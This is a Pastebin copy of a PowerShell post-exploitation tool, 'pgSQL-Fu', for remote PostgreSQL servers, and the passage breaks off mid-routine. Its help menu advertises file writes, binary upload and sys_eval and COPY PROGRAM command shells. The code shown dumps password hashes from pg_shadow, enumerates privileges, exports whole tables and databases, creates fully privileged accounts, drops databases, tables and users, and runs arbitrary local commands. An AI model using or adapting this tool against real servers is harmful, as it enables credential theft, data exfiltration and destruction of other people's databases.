Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <#
- .SYNOPSIS
- pgSQL-Fu Connection Assistant
- .DESCRIPTION
- Provides a Postgres-SQL Shell w/builtin functions to make life easy
- NOTE: Uses the .NET ODBC Postgres Driver under the hood
- Download: https://www.postgresql.org/ftp/odbc/versions/msi/
- NOTE: DSN Does NOT need to be configured, .NET will handle for us on the fly
- .PARAMETER Ip
- The IP of listening Postgres SQL Service
- .PARAMETER User
- The username to authenticate as (default: postgres)
- .PARAMETER Password
- The password to authenticate as
- .PARAMETER Database
- Optional Database name to use for authentication request (default: none)
- .EXAMPLE
- .\pgsqlFu.ps1 -Ip 10.10.10.10 -User postgres -Password postgres
- #>
- param (
- [Parameter(Mandatory = $True)][string]$ip,
- [string]$user = "postgres",
- [string]$password = "",
- [string]$database = "",
- [int]$port = 5432
- )
- <# Simple function to print the 0x31337 application banner #>
- function PrintBanner {
- Invoke-Expression "cls";
- Write-Host "";
- Write-Host "[*] Postgres SQL-Fu Client Assistant";
- Write-Host "";
- }
- <# Generate a random string, of length $count #>
- function randz([int]$count) {
- return -join ((65..90) + (97..122) | Get-Random -Count $count | % {[char]$_});
- }
- <# Convert a EXE/Bin file into a hex string #>
- function convertFileContentToHexStr([string]$filename) {
- $hexStr = "";
- if(Test-Path -Path $filename) {
- Get-Content -Encoding byte $filename | %{ "{0:x}" -f $_ } | %{ if ( $_.Length -eq 1 ) { $hexStr = $hexStr + 0 + $_ } else { $hexStr = $hexStr + $_ } }
- } else {
- Write-Host "[x] Unable to Load File for Hex Conversion: $filename";
- Write-Host " [x] Check path or permissions and try again...";
- }
- return $hexStr;
- }
- <# Convret string to Hex string #>
- function convertStrToHex([string]$str) {
- $hexStr = "";
- Foreach ($element in $str.ToCharArray()) {$hexStr = $hexStr + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))}
- return $hexStr;
- }
- <#
- Check & Confirm we can connect to Postgres SQL instance
- Returns True on success, False otherwise
- #>
- function can_we_connect {
- $status = $False;
- $myConObj = New-Object System.Data.Odbc.OdbcConnection;
- # x86 Driver Call...
- $myConnectStr = "Driver={PostgreSQL UNICODE};Server=$ip;Port=$port;Database=$database;Uid=$user;Pwd=$password;";
- $myConObj.ConnectionString = $myConnectStr;
- $Error.Clear();
- $msg="";
- try {
- # Try to open connection and see if it errors out (fail) or not (success)
- $myConObj.Open();
- $status = $True;
- $myConObj.Close();
- } catch {
- $msg = $_.Exception.Message;
- if($msg -match 'IM002') {
- try {
- # x64 Driver Call if x86 fails...
- $myConObj = New-Object System.Data.Odbc.OdbcConnection;
- $myConnectStr = "Driver={PostgreSQL UNICODE(x64)};Server=$ip;Port=$port;Database=$database;Uid=$user;Pwd=$password;";
- $myConObj.ConnectionString = $myConnectStr;
- $Error.Clear();
- $myConObj.Open();
- $status = $True;
- $myConObj.Close();
- } catch {
- $msg = $_.Exception.Message;
- }
- }
- }
- return New-Object PSObject -Property @{
- conStr = $myConnectStr;
- status = $status;
- msg = $msg;
- }
- }
- <# Run Postgres SQL Query & Return result object #>
- function pgsql_query([string]$connStr, [string]$sqlQuery) {
- $result = "";
- $rowCount=0;
- $msg = "";
- try {
- $Error.Clear();
- $myConObj = New-Object System.Data.Odbc.OdbcConnection;
- $myConObj.ConnectionString = $connStr;
- $Error.Clear();
- $myConObj.Open();
- $cmd = New-object System.Data.Odbc.OdbcCommand($sqlQuery,$myConObj);
- $DataSet = New-Object system.Data.DataSet;
- (New-Object system.Data.odbc.odbcDataAdapter($cmd)).fill($DataSet) | out-null;
- $myConObj.Close();
- $result = $DataSet.Tables[0];
- } catch {
- $msg = "$Error[0]";
- } finally {
- if($myConObj -ne $NULL) {
- $myConObj.Close();
- }
- }
- return New-Object PSObject -Property @{
- rowCount = $rowCount;
- result = $result;
- msg = $msg;
- }
- }
- <# Query & Return basic pgsql host information #>
- function pgsql_basic_info([string]$connStr) {
- $version = (pgsql_query $connStr "SELECT version() v;").result.v;
- $serverVersion = (pgsql_query $connStr "show server_version;").result.server_version;
- $arch = $version.split(',')[-1].TrimStart();
- $datadir = (pgsql_query $connStr "SELECT current_setting('data_directory');").result.current_setting;
- $hbaconf = (pgsql_query $connStr "SELECT current_setting('hba_file');").result.current_setting;
- $d = $datadir[0..1] -join ""
- if($d.ToLower() -match "^[a-z]:$") {
- $os = "Windows";
- } else {
- $os = "Linux";
- }
- return New-Object PSObject -Property @{
- os = $os;
- arch = $arch;
- version = $version;
- serverVersion = $serverVersion;
- hbaconf = $hbaconf;
- datadir = $datadir;
- }
- }
- <# Builds Shell Help String for Output after call #>
- function shell_help($os) {
- $helpOut = "`n[*] Postgres pgSQL-Fu Usage Options: `n"
- $helpOut += " <SQL> => Execute Provided SQL Query`n";
- $helpOut += " cls => Clear Terminal`n";
- $helpOut += " cmd <cmd> => Execute a Local OS Command (*this box*)`n";
- $helpOut += " exit or quit => Exit pgSQL-Fu Shell Session`n";
- $helpOut += " info => SHOW Basic Info`n";
- $helpOut += " users => SHOW pgSQL Users`n";
- $helpOut += " privs => SHOW pgSQL User Privileges`n";
- $helpOut += " dbs => SHOW Available Databases`n";
- $helpOut += " tbls => SHOW Tables for All Database`n";
- $helpOut += " db.tbls => SHOW Tables for Known Database`n";
- $helpOut += " cols => SHOW Columns for All Tables`n";
- $helpOut += " tbl.cols => SHOW Columns for Known Table`n";
- $helpOut += " new.db => CREATE New Database`n";
- $helpOut += " new.user => CREATE New pgSQL User Account`n";
- $helpOut += " drop.tbl => DROP a Table`n";
- $helpOut += " drop.user => DROP a pgSQL User Account`n";
- $helpOut += " passwords => DUMP pgSQL Users & Password Hashes`n";
- $helpOut += " dump.tbl => DUMP Table`n";
- $helpOut += " dump.db => DUMP Database`n";
- $helpOut += " dump.all => DUMP All Databases`n";
- $helpOut += " read => READ File(s) using COPY FROM`n";
- $helpOut += " write.file => WRITE File using COPY TO`n";
- $helpOut += " write.bin => WRITE Binary (EXE/SO) File using pg_largeobject`n";
- $helpOut += " udf => WRITE UDF sys_eval()`n";
- $helpOut += " sys.shell => UDF sys_eval() Command Shell`n";
- $helpOut += " copy.shell => COPY PROGRAM (9.3+) Command Shell`n";
- $helpOut += "`n";
- return $helpOut;
- }
- <# Handle CTRL+C Interupt and Exit Gracefully #>
- [console]::TreatControlCAsInput = $True;
- <# Create an output directory if one doesn't exist already #>
- $outDir = (Get-Item -Path ".\" -Verbose).FullName + "\output";
- if(!(Test-Path -PathType Container $outDir)) {
- New-Item -ItemType Directory -Force -Path $outDir;
- }
- $outDir = $outDir + "\" + $ip;
- if(!(Test-Path -PathType Container $outDir)) {
- New-Item -ItemType Directory -Force -Path $outDir | Out-Null;
- }
- # START
- PrintBanner;
- $Error.Clear();
- $r = can_we_connect;
- if($r.status) {
- $connectionString = $r.conStr;
- $basicInfo = pgsql_basic_info $connectionString;
- Write-Host "[*] Connected to Postgres SQL Instance";
- Write-Host " [+] Host: $($ip):$($port)";
- Write-Host " [+] OS: $($basicInfo.os.ToUpper()), Arch: $($basicInfo.arch.ToUpper())";
- Write-Host " [+] Version: $($basicInfo.version)";
- Write-Host " [+] Config: $($basicInfo.hbaconf)";
- Write-Host " [+] Datadir: $($basicInfo.datadir)";
- Write-Host "";
- Write-Host "[*] Dropping to pgsql-fu shell...";
- Write-Host " [+] Type EXIT or QUIT to end session";
- Write-Host " [+] Type HELP to see available options`n`n";
- While($True) {
- $userArg = Read-Host "(pgsql-fu)> ";
- Write-Host "";
- if($userArg.Trim() -eq "") {
- continue;
- }
- if($userArg.ToLower() -match '^exit$|^quit$\^x$') {
- Write-Host " [x] OK, closing MySQL-Fu shell session...";
- Break;
- } elseif($userArg.ToLower() -eq 'cls' -Or $userArg.ToLower() -eq 'clear') {
- PrintBanner;
- } elseif($userArg.ToLower() -match '^cmd') {
- $cmd = $userArg.Substring(4);
- Invoke-Expression "$cmd";
- Write-Host "";
- } elseif($userArg.ToLower() -match '^\?$' -Or $userArg.ToLower() -match '^h$' -Or $userArg.ToLower() -match '^help') {
- $shout = shell_help $basicInfo.os;
- Write-Host $shout;
- } elseif($userArg.ToLower() -match '^basic' -Or $userArg.ToLower() -match '^info') {
- $basicInfo = pgsql_basic_info $connectionString;
- $basicOut =
- $basicOut = "[*] Postgres SQL Host Info: $($ip):$($port)`n";
- $basicOut += " [+] Hostname: $($basicInfo.hostname)`n";
- $basicOut += " [+] OS: $($basicInfo.os.ToUpper()), Arch: $($basicInfo.arch.ToUpper())`n";
- $basicOut += " [+] DB Version: $($basicInfo.version)`n";
- $basicOut += " [+] Config: $($basicInfo.hbaconf)`n";
- $basicOut += " [+] Datadir: $($basicInfo.datadir)`n";
- Write-Host $basicOut;
- New-Item -path $outDir -Name "pgsqlfu-basic_info.txt" -Value $basicOut -ItemType file -force | Out-Null;
- } elseif($userArg.ToLower() -match '^users$') {
- $sqlResult = pgsql_query $connectionString "SELECT usename FROM pg_user;";
- if($sqlResult.msg -eq "") {
- $usersOut = "[*] Current Postgres Users:`n";
- if($sqlResult.rowCount -eq 1) {
- $usersOut += " [+] $($sqlResult.result.usename)`n";
- } else {
- foreach($row in $sqlResult.result) {
- $usersOut += " [+] $($row.usename)`n";
- }
- }
- $usersOut += "`n";
- Write-Host $usersOut;
- New-Item -path $outDir -Name "pgsqlfu-users.txt" -Value $usersOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Problem Fetching Postgres User List`n`t$($sqlResult.msg)`n";
- }
- } elseif($userArg.ToLower() -match '^privs') {
- $sqlResult = pgsql_query $connectionString "SELECT usename, usesuper, usecreatedb, usecatupd, useconfig, userepl FROM pg_user;";
- if($sqlResult.msg -eq "") {
- $userPrivsOut = "[*] Current User Privileges:`n";
- if($sqlResult.rowCount -eq 1) {
- $userPrivsOut += " [+] USER: $($sqlResult.result.usename)`n";
- if($sqlResult.result.usesuper -eq 1) {
- $userPrivsOut += " [-] SUPER: YES`n";
- } else {
- $userPrivsOut += " [-] SUPER: NO`n";
- }
- if($sqlResult.result.usecreatedb -eq 1) {
- $userPrivsOut += " [-] CREATE: YES`n";
- } else {
- $userPrivsOut += " [-] CREATE: NO`n";
- }
- if($sqlResult.result.usecatupd -eq 1) {
- $userPrivsOut += " [-] UPDATE: YES`n";
- } else {
- $userPrivsOut += " [-] UPDATE: NO`n";
- }
- if($sqlResult.result.useconfig -eq 1) {
- $userPrivsOut += " [-] CONFIG: YES`n";
- } else {
- $userPrivsOut += " [-] CONFIG: NO`n";
- }
- if($sqlResult.result.userepl -eq 1) {
- $userPrivsOut += " [-] REPLICATE: YES`n";
- } else {
- $userPrivsOut += " [-] REPLICATE: NO`n";
- }
- } else {
- foreach($row in $sqlResult.result) {
- $userPrivsOut += " [+] USER: $($row.usename)`n";
- if($row.usesuper -eq 1) {
- $userPrivsOut += " [-] SUPER USER: YES`n";
- } else {
- $userPrivsOut += " [-] SUPER USER: NO`n";
- }
- if($row.usecreatedb -eq 1) {
- $userPrivsOut += " [-] CREATE DB: YES`n";
- } else {
- $userPrivsOut += " [-] CREATE DB: NO`n";
- }
- if($row.usecatupd -eq 1) {
- $userPrivsOut += " [-] UPDATE DB: YES`n";
- } else {
- $userPrivsOut += " [-] UPDATE DB: NO`n";
- }
- if($row.useconfig -eq 1) {
- $userPrivsOut += " [-] CONFIG: YES`n";
- } else {
- $userPrivsOut += " [-] CONFIG: NO`n";
- }
- if($row.userepl -eq 1) {
- $userPrivsOut += " [-] REPLICATE: YES`n";
- } else {
- $userPrivsOut += " [-] REPLICATE: NO`n";
- }
- }
- }
- $userPrivsOut += "`n`n[*] User Table Privileges:`n";
- $sqlResult = pgsql_query $connectionString "SELECT grantee, table_name, privilege_type FROM information_schema.role_table_grants";
- $gt = @(); $tb = @();
- $grantees = {$gt}.Invoke();
- $tableNames = {$tb}.Invoke();
- if($sqlResult.msg -eq "") {
- foreach($row in $sqlResult.result) {
- if($grantees -notcontains $row.grantee) {
- if($grantees.Count -gt 0) { $userPrivsOut += "`n"; }
- $grantees.Add($row.grantee);
- $userPrivsOut += " [+] USER: $($row.grantee)`n";
- }
- if($tableNames -notcontains $row.table_name) {
- $tableNames.Add($row.table_name);
- $userPrivsOut += " [-] TABLE: $($row.table_name)`n";
- }
- $userPrivsOut += " [+] PRIV: $($row.privilege_type)`n";
- }
- } else {
- $userPrivsOut += " [x] Problem fetching table privileges`n";
- $userPrivsOut += "$($sqlResult.msg)`n"
- }
- Write-Host $userPrivsOut;
- New-Item -path $outDir -Name "pgsqlfu-user_privs.txt" -Value $userPrivsOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Problem Fetching Postgres Users & Privileges`n`t$($sqlResult.msg)`n";
- }
- } elseif($userArg.ToLower() -match '^dbs' -Or $userArg.ToLower() -match '^databases') {
- $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
- if($sqlResult.result -ne $NULL) {
- $dbOut = "[*] Available Databases:`n";
- foreach($row in $sqlResult.result) {
- if($row.datname -ne $NULL) {
- $dbOut += " [+] $($row.datname)`n";
- }
- }
- Write-Host $dbOut;
- New-Item -path $outDir -Name "pgsqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Database Listing";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^pass' -Or $userArg.ToLower() -match '^pwd') {
- $sqlResult = pgsql_query $connectionString "SELECT usename, passwd FROM pg_shadow;";
- if($sqlResult.msg -eq "") {
- $pgsqlCredsOut = "[*] Postgres SQL Users & Passwords:`n";
- foreach($row in $sqlResult.result) {
- $pgsqlCredsOut += " [+] User: $($row.usename)`n";
- $pgsqlCredsOut += " [-] Password: $($row.passwd)`n";
- }
- Write-Host $pgsqlCredsOut;
- New-Item -path $outDir -Name "pgsqlfu-users_and_passwords.txt" -Value $pgsqlCredsOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Problem Fetching Users & Passwords";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^tbls' -Or $userArg.ToLower() -match '^tables') {
- $sql = "SELECT table_catalog, table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $d = @(); $s = @();
- $knowndbs = {$d}.Invoke();
- $knowncatalogs = {$d}.Invoke();
- $tblOut = "[*] Available Tables by Database: `n";
- foreach($row in $sqlResult.result) {
- if($knowncatalogs -notcontains $row.table_catalog) {
- if($knowncatalogs.Count -gt 0) { $tblOut += "`n"; }
- $knowncatalogs.Add($row.table_catalog);
- $tblOut += " [+] TABLE CATALOG: $($row.table_catalog)`n";
- }
- if($knowndbs -notcontains $row.table_schema) {
- $knowndbs.Add($row.table_schema);
- $tblOut += " [+] TABLE SCHEMA: $($row.table_schema)`n";
- }
- $tblOut += " [-] $($row.table_name)`n";
- }
- Write-Host $tblOut;
- New-Item -path $outDir -Name "pgsqlfu-database.tables.txt" -Value $tblOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Problem Fetching Database & Tables Listing";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^db.tbl' -Or $userArg.ToLower() -match '^db.tables') {
- $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
- if($sqlResult.result -ne $NULL) {
- $dbOut = "[*] Available Table Catalogs (Databases):`n";
- foreach($row in $sqlResult.result) {
- if($row.datname -ne $NULL) {
- $dbOut += " [+] TABLE CATALOG: $($row.datname)`n";
- }
- }
- $dbOut += "`n";
- Write-Host $dbOut;
- }
- $dbName = Read-Host "ENTER Table Catalog (Database) Name";
- Write-Host "";
- $sql = "SELECT table_schema,table_name FROM information_schema.tables WHERE table_catalog = '$($dbName)' ORDER BY table_schema,table_name;";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.result -ne $NULL) {
- $dbOut = "[*] Available Table Schemas in $($dbName):`n";
- $s = @(); $knowndbs = {$d}.Invoke();
- foreach($row in $sqlResult.result) {
- if($knowndbs -notcontains $row.table_schema) {
- $knowndbs.Add($row.table_schema);
- $dbOut += " [+] $($row.table_schema)`n";
- }
- }
- $dbOut += "`n";
- Write-Host $dbOut;
- }
- $dbSchemaName = Read-Host "ENTER Table Schema Name";
- Write-Host "";
- $sql = "SELECT table_name FROM information_schema.tables WHERE table_catalog = '$($dbName)' AND table_schema = '$($dbSchemaName)' ORDER BY table_schema,table_name;";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.result -ne $NULL) {
- $dbTblsOut = "[*] DB:$($dbName), SCHEMA: $($dbSchemaName):`n";
- $dbTblsOut += "[*] Available Tables:`n";
- foreach($row in $sqlResult.result) {
- $dbTblsOut += " [+] $($row.table_name)`n";
- }
- $dbTblsOut += "`n";
- Write-Host $dbTblsOut;
- New-Item -path $outDir -Name "pgsqlfu-$($dbName).$($dbSchemaName).tables.txt" -Value $dbTblsOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Problem Fetching Tables From: $($dbName).$($dbSchemaName)";
- $sqlResult.msg;
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^cols' -Or $userArg.ToLower() -match '^columns') {
- $sql = "SELECT table_catalog, table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $d = @(); $s = @();
- $knowndbs = {$d}.Invoke();
- $knowncatalogs = {$d}.Invoke();
- $colOut = "[*] Available Columns by Catalog, Schema, Table: `n";
- foreach($row in $sqlResult.result) {
- if($knowncatalogs -notcontains $row.table_catalog) {
- if($knowncatalogs.Count -gt 0) { $colOut += "`n"; }
- $knowncatalogs.Add($row.table_catalog);
- $colOut += " [+] TABLE CATALOG: $($row.table_catalog)`n";
- }
- if($knowndbs -notcontains $row.table_schema) {
- $knowndbs.Add($row.table_schema);
- $colOut += " [+] TABLE SCHEMA: $($row.table_schema)`n";
- }
- $colOut += " [-] TABLE: $($row.table_name)`n";
- $sql = "SELECT column_name FROM information_schema.columns WHERE table_catalog='$($row.table_catalog)' AND table_schema='$($row.table_schema)' AND table_name ='$($row.table_name)';";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- foreach($row in $sqlResult.result) {
- $colOut += " [+] $($row.column_name)`n";
- }
- } else {
- $colOut += " [x] NO Columns Returned`n";
- }
- }
- Write-Host $colOut;
- New-Item -path $outDir -Name "pgsqlfu-database.tables.columns.txt" -Value $colOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Problem Fetching Columns by Database, Schema, Tables";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^tbl.col') {
- $tblName = Read-Host "ENTER Table Name";
- Write-Host "";
- $sql = "SELECT table_catalog, table_schema, column_name, data_type FROM information_schema.columns WHERE table_name ='$($tblName)';";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $tcount=0;
- foreach($row in $sqlResult.result) {
- if($tcount -eq 0) {
- $colOut = "[*] DB: $($row.table_catalog), SCHEMA: $($row.table_schema)`n";
- $colOut += " [+] Columns in Table: $($tblName)`n";
- $tcount++;
- }
- $colOut += " [-] $($row.column_name) ($($row.data_type))`n";
- }
- Write-Host $colOut;
- New-Item -path $outDir -Name "pgsqlfu-$($tblName).columns.txt" -Value $colOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Problem Fetching Columns from $($tblName)";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^new.db' -Or $userArg.ToLower() -match '^new.database') {
- $dbName = Read-Host "ENTER Database Name to Create";
- Write-Host "";
- $sqlResult = pgsql_query $connectionString "CREATE DATABASE $($dbName);";
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Created New Database: $($dbName)";
- $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
- if($sqlResult.result -ne $NULL) {
- Write-Host " [+] Updated Database Listing:";
- $dbOut = "[*] Available Databases:`n";
- foreach($row in $sqlResult.result) {
- if($row.datname -ne $NULL) {
- Write-Host " [-] $($row.datname)";
- $dbOut += " [+] $($row.datname)`n";
- }
- }
- New-Item -path $outDir -Name "pgsqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Updated Database Listing";
- }
- } else {
- Write-Host " [x] Problem Creating New Database $($dbName)";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^new\.user') {
- $newUserName = Read-Host "ENTER New Username to CREATE";
- Write-Host "";
- $newUserPass = Read-Host "ENTER New User's Password";
- Write-Host "";
- Write-Host "[*] Attempting to create new user account";
- Write-Host " [+] User: $($newUserName)";
- Write-Host " [+] Pass: $($newUserPass)`n";
- $sql1 = "CREATE USER $($newUserName) WITH PASSWORD '$($newUserPass)';";
- $sql2 = "CREATE DATABASE $($newUserName);";
- $sql3 = "GRANT ALL PRIVILEGES ON DATABASE $($newUserName) TO $($newUserName);";
- $sql4 = "GRANT ALL ON ALL TABLES IN SCHEMA $($newUserName) TO $($newUserName);";
- $sql5 = "ALTER DEFAULT PRIVILEGES IN SCHEMA $($newUserName) GRANT ALL ON ALL TABLES TO $($newUserName);";
- $sql6 = "ALTER DEFAULT PRIVILEGES IN SCHEMA $($newUserName) GRANT ALL ON ALL SEQUENCES TO $($newUserName);";
- $sqlResult = pgsql_query $connectionString $sql1;
- if($sqlResult.msg -eq "") {
- $sqlResult = pgsql_query $connectionString $sql2;
- if($sqlResult.msg -ne "") {
- Write-Host " [x] Problem Creating New User's Database";
- $sqlResult.msg
- }
- $sqlResult = pgsql_query $connectionString $sql3;
- if($sqlResult.msg -eq "") {
- $sqlResult = pgsql_query $connectionString $sql4;
- $sqlResult = pgsql_query $connectionString $sql5;
- $sqlResult = pgsql_query $connectionString $sql6;
- Write-Host "[*] Successfully Created New User: $($newUserName)";
- $sqlResult = pgsql_query $connectionString "SELECT usename FROM pg_user;";
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Updated Postgres User List: ";
- $usersOut = "[*] Current Postgres Users:`n";
- if($sqlResult.rowCount -eq 1) {
- Write-Host " [+] $($sqlResult.result.usename)";
- $usersOut += " [+] $($sqlResult.result.usename)`n";
- } else {
- foreach($row in $sqlResult.result) {
- Write-Host " [+] $($row.usename)";
- $usersOut += " [+] $($row.usename)`n";
- }
- }
- $usersOut += "`n";
- New-Item -path $outDir -Name "pgsqlfu-users.txt" -Value $usersOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Problem Fetching Postgres User List`n`t$($sqlResult.msg)`n";
- }
- } else {
- Write-Host " [x] Problem Granting New User Privileges";
- $sqlResult.msg
- }
- } else {
- Write-Host " [x] Problem Creating New User $($newUserName)";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^drop\.db' -Or $userArg.ToLower() -match '^drop\.database') {
- $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
- if($sqlResult.result -ne $NULL) {
- $dbOut = "[*] Available Databases:`n";
- foreach($row in $sqlResult.result) {
- if($row.datname -ne $NULL) {
- $dbOut += " [+] $($row.datname)`n";
- }
- }
- Write-Host $dbOut;
- }
- $dropDbName = Read-Host "ENTER Database Name to DROP";
- Write-Host "";
- $sql = "DROP DATABASE $($dropDbName);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Successfully DROPPED Database: $($dropDbName)";
- $sqlResult = pgsql_query $connectionString "SELECT datname FROM pg_database;";
- if($sqlResult.result -ne $NULL) {
- $dbOut = "[*] Available Databases:`n";
- foreach($row in $sqlResult.result) {
- if($row.datname -ne $NULL) {
- $dbOut += " [+] $($row.datname)`n";
- }
- }
- Write-Host $dbOut;
- New-Item -path $outDir -Name "pgsqlfu-available_databases.txt" -Value $dbOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Unable to Get Updated Database Listing";
- $sqlResult.msg;
- }
- } else {
- Write-Host "[x] Problem DROPing Database: $($dropDbName)";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^drop\.tbl' -Or $userArg.ToLower() -match '^drop\.table') {
- $dropTblName = Read-Host "ENTER Table Name to DROP";
- Write-Host "";
- $sql = "DROP TABLE $($dropTblName);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Successfully DROPPED Table: $($dropTblName)";
- } else {
- Write-Host "[x] Problem DROPing Table: $($dropTblName)";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^drop\.usr' -Or $userArg.ToLower() -match '^drop\.user') {
- $dropUsrName = Read-Host "ENTER Username to DROP";
- Write-Host "";
- $sql = "DROP OWNED BY $($dropUsrName);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $sql = "DROP DATABASE $($dropUsrName);";
- $sqlResult = pgsql_query $connectionString $sql;
- $sql = "DROP USER $($dropUsrName);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Successfully DROPPED User: $($dropUsrName)";
- $sqlResult = pgsql_query $connectionString "SELECT usename FROM pg_user;";
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Updated Postgres User List: ";
- $usersOut = "[*] Current Postgres Users:`n";
- if($sqlResult.rowCount -eq 1) {
- Write-Host " [+] $($sqlResult.result.usename)";
- $usersOut += " [+] $($sqlResult.result.usename)`n";
- } else {
- foreach($row in $sqlResult.result) {
- Write-Host " [+] $($row.usename)";
- $usersOut += " [+] $($row.usename)`n";
- }
- }
- $usersOut += "`n";
- New-Item -path $outDir -Name "pgsqlfu-users.txt" -Value $usersOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[x] Problem Fetching Postgres User List`n`t$($sqlResult.msg)`n";
- }
- } else {
- Write-Host "[x] Problem DROPing User: $($dropUsrName)";
- $sqlResult.msg
- }
- } else {
- Write-Host "[x] Problem DROPing User Owned Objects: $($dropUsrName)";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^dump.tbl' -Or $userArg.ToLower() -match '^dump.table') {
- $dbTblName = Read-Host "Enter Table Name to Dump";
- Write-Host "";
- $dumpOutDir = $outDir + "\dumps\";
- if(!(Test-Path -PathType Container $dumpOutDir)) {
- New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
- }
- $sql = "SELECT column_name FROM information_schema.columns WHERE table_name ='$($dbTblName)';";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $clz = @();
- $columnz = {$clz}.Invoke();
- $sql = "SELECT ";
- foreach($row in $sqlResult.result) {
- $sql += "$($row.column_name),";
- $columnz.Add($row.column_name);
- }
- Write-Host "[*] Dumping $($dbTblName)...";
- $sql = $sql -replace ",$", "";
- $sql += " FROM $($dbTblName);";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $out = "";
- foreach($col in $columnz) {
- $out += "$($col),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- foreach($row in $sqlResult.result) {
- foreach($col in $columnz) {
- $cv = $row."$($col)";
- $out += "$($cv),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- }
- New-Item -path $dumpOutDir -Name "$($dbTblName).csv" -Value $out -ItemType file -force | Out-Null;
- Write-Host " [*] Table Dumped & Results Saved To:`n`t$($dumpOutDir)`n";
- } else {
- Write-Host " [x] Problem Dumping Table";
- $sqlResult.msg
- }
- } else {
- Write-Host " [x] NO Columns/Data Returned";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^dump.db') {
- $dbName = Read-Host "Enter Database (Schema) Name to Dump";
- Write-Host "";
- $dumpOutDir = $outDir + "\dumps\";
- if(!(Test-Path -PathType Container $dumpOutDir)) {
- New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
- }
- $sql = "SELECT table_catalog, table_name FROM information_schema.tables WHERE table_name LIKE '$($dbName)' ORDER BY table_schema,table_name;";
- $sqlResult = pgsql_query $connectionString $sql;
- if($sqlResult.msg -eq "") {
- $d = @(); $s = @();
- $knowndbs = {$d}.Invoke();
- $knowncatalogs = {$d}.Invoke();
- foreach($row in $sqlResult.result) {
- if($knowncatalogs -notcontains $row.table_catalog) {
- if($knowncatalogs.Count -gt 0) { Write-Host ""; }
- $knowncatalogs.Add($row.table_catalog);
- Write-Host "[*] Dumping ALL Available Tables in DB (Schema): $($dbName)";
- Write-Host " [+] Catalog: $($row.table_catalog)";
- }
- Write-Host " [-] Dumping TABLE: $($row.table_name)";
- $clz = @();
- $columnz = {$clz}.Invoke();
- $sql = "SELECT column_name FROM information_schema.columns WHERE table_catalog='$($row.table_catalog)' AND table_schema='$($row.table_schema)' AND table_name ='$($row.table_name)';";
- $sqlResult2 = pgsql_query $connectionString $sql;
- if($sqlResult2.msg -eq "") {
- $sql = "SELECT ";
- foreach($row2 in $sqlResult2.result) {
- $columnz.Add($row2.column_name);
- $sql += "$($row2.column_name),"
- }
- $sql = $sql -replace ",$", "";
- $sql += " FROM $($row.table_name);";
- $sqlResult3 = pgsql_query $connectionString $sql;
- if($sqlResult3.msg -eq "") {
- $out = "";
- foreach($col in $columnz) {
- $out += "$($col),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- foreach($row3 in $sqlResult3.result) {
- foreach($col in $columnz) {
- $cv = $row3."$($col)";
- $out += "$($cv),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- }
